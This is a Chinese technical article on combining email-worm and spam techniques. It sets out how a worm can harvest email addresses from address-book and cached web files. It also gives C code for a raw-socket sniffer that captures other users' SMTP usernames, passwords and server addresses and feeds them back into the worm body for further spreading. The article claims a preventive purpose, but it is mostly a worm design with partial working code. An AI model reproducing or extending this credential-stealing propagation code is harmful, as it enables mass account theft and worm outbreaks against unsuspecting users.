背景
病毒,DDOS,垃圾邮件已经成为当今网络安全的三大技术难题。反垃圾邮件之所以如此困难,是因为(E)SMTP协议本身的缺陷。正如DDOS,是利用TCP/IP协议固有的缺陷一样。需要说明的是,邮件蠕虫为了传播自身而发送的邮件,也属于垃圾邮件的一种。
2003年出现的Sobig蠕虫使垃圾邮件的数量大为增加,许多安全专家认为Sobig使用了垃圾邮件技术并预言:蠕虫技术和垃圾邮件技术的融合将是未来的发展趋势。其实,这种说法虽然正确但不准确,不错,Sobig发送的邮件确实属于垃圾邮件,可是I LOVE YOU,HappyTime病毒发送的邮件又何尝不是?只不过Sobig发送两份相同邮件的频率高,所以截获的传播数量才特别大,但真正的感染数量并不大,Sobig在技术上并未采用垃圾邮件技术。
本文将在分析邮件蠕虫和垃圾邮件关键技术的基础上,提出利用垃圾邮件技术传播蠕虫的思想。当然,这并不是为了传播蠕虫,而是为了更好的预防未来可能出现的这类蠕虫。本文假设读者已经具备了(E)SMTP协议,蠕虫,垃圾邮件方面的知识。
邮件蠕虫的局限与解决方法
邮件蠕虫面临的3个主要问题:一是邮件地址搜集,二是服务器地址来源,三是如何使附件尽可能多地获得执行机会。本文只讨论前两点:
一. 邮件地址搜集
现在流行并被广被使用的搜集方式有两种:
从wab文件获得
从regedit获得wab文件路径,然后分析已知格式的wab文件,读取其中的地址。
从*.ht,*.htm,*.html,*.txt,*.dbx,*.eml等文件获得
可以遍历Internet临时目录或遍历硬盘,从上述扩展名的文件中寻找地址。方法和垃圾邮件搜索html页面类似,都是寻找mailto和@,作为合法email地址的标志。
第一种方法收集到的地址可信度比较高,点击率也会比较高;第二种方法如果地址选择算法严谨,那么找到的地址基本上都是合法的Email地址,但可信度较低。两种方法搜集到的地址数量都相当有限,成为蠕虫传播的制约条件之一。后文将会提到解决方案。
二.邮件服务器地址和帐号密码的来源
当前,几乎所有蠕虫都把一个或几个服务器的IP地址硬编码在文件体内,这样,一旦邮件服务器不可用,蠕虫也就停止了传播。而且,由于网络安全策略的限制,许多感染蠕虫的主机都无法和这些指定的服务器连接,从而影响了蠕虫的传播速度。这里提出一种新的方法来获得大量可靠的SMTP Server,帐户,密码信息。
在Win2000平台上,我们可以利用WinSock 2的特性,它允许程序使用WSAIoctl()给一个SOCK_RAW类型的Socket设置SIO_RCVALL属性,这样该Socket就可以收到所有经过本机的数据,这是一种无需编写驱动的简易Sniffer。
许多聪明的读者已经想到下一步的工作了,是的,利用原始套接字捕包,原则如下:
a.目的端口等于25。 b.从SYN包开始记录,这是客户端和SMTP Server正在连接。 c.根据HELO或EHLO来判断服务器是否需要认证。 d.如果是EHLO,捕获后续的用户名和密码。 e.根据MAIL FROM: 得到发件人。 f.抛弃蠕虫自身向25端口发送的报文。 g.如果捕获的数据发生错误的次数超过上限,抛弃当前的服务器,恢复到初始状态。
为方便起见,可以定义SMTPSERVINFO结构体来保存服务器信息。
typedef struct tagSmtpServerInfo { DWORD dwCredit; //此服务器信息的可信度,根据发信成败增减 BOOL bAuth; //服务器是否需要认证 in_addr dwServerIP; //邮件服务器的IP char szUserName[32]; //用户名 char szPassWord[32]; //口令 char szMailFrom[32]; //发件人 } SMTPSERVINFO;
下面的CaptureThread函数是捕包线程,工作方式和原则如上所述,为了节约篇幅,将初始化和判断成功的代码省略。
DWORD WINAPI CaptureThread ( LPVOID p ) { WSAIoctl(CaptureSocket, SIO_RCVALL, &lpvBuffer, … , NULL); //设置为捕获所有报文 while( TRUE ) { memset( buf , 0 , sizeof(buf) ) ; iRet = recv( CaptureSocket , buf , sizeof( buf ) , 0 ) ; pIpHeader = (IPHEADER *)buf ; if(IsExistIP(pIpHeader->destIP) || pIpHeader->dPort!=::htons(25)) //不是蠕虫自身所发 continue; if((pIpHeader->th_flag & SYN) == SYN) //是和服务器开始握手吗? { bNewUser = TRUE; //又有新用户发信了,开始记录 iStatus=0; dwFailCount=0; } if(bNewUser==FALSE) continue; pBuf= (char *)buf + sizeof(IPHEADER)+sizeof(TCPHEADER); switch(iStatus) { case 0: //握手状态 { m_pSmtpServInfo = new SMTPSERVINFO; m_pSmtpServInfo->dwCredit=3;//初始可信度为3 m_pSmtpServInfo->dwServerIP.S_un.S_addr =pIpHeader->destIP; //获得了ip iStatus++; break; } case 1: { if(::strstr(pBuf,"HELO")) //匿名smtp server { m_pSmtpServInfo->bAuth=FALSE; m_pSmtpServInfo->szUserName[0]=NULL; m_pSmtpServInfo->szPassWord[0]=NULL; iStatus=5; //2(user),3(pass)跳过了 } if(::strstr(pBuf,"EHLO")) //服务器需要认证 { m_pSmtpServInfo->bAuth=TRUE; iStatus=2; //准备捕捉用户名和密码 } break; } case 2: //开始收藏帐户和密码 { if(::strstr(pBuf,"AUTH")) iStatus=3; break; } case 3: { lstrcpyn(m_pSmtpServInfo->szUserName,pBuf,::strstr(pBuf,"\r\n")-pBuf+1); iStatus=4; break; } case 4: { ::lstrcpyn(m_pSmtpServInfo->szPassWord,pBuf,::strstr(pBuf,"\r\n")-pBuf+1); iStatus=5; break; } case 5: { … ::lstrcpyn(m_pSmtpServInfo->szMailFrom,…); PostThreadMessage(::gMainThread,…, m_pSmtpServInfo); //通知主线程 bNewUser=FALSE; //不必再捕捉25包了,除非有新的握手信息 iStatus=0; //恢复为初始状态。 …
主线程负责将此服务器信息写入病毒体,并对病毒体重新编码,使得再次发送的附件包含最新信息。同时,主线程还会启动一个新的邮件地址探测线程,连接此服务器,获得尽量多的此服务器的帐户并向其发送自身。如何获得帐户将在下文说明。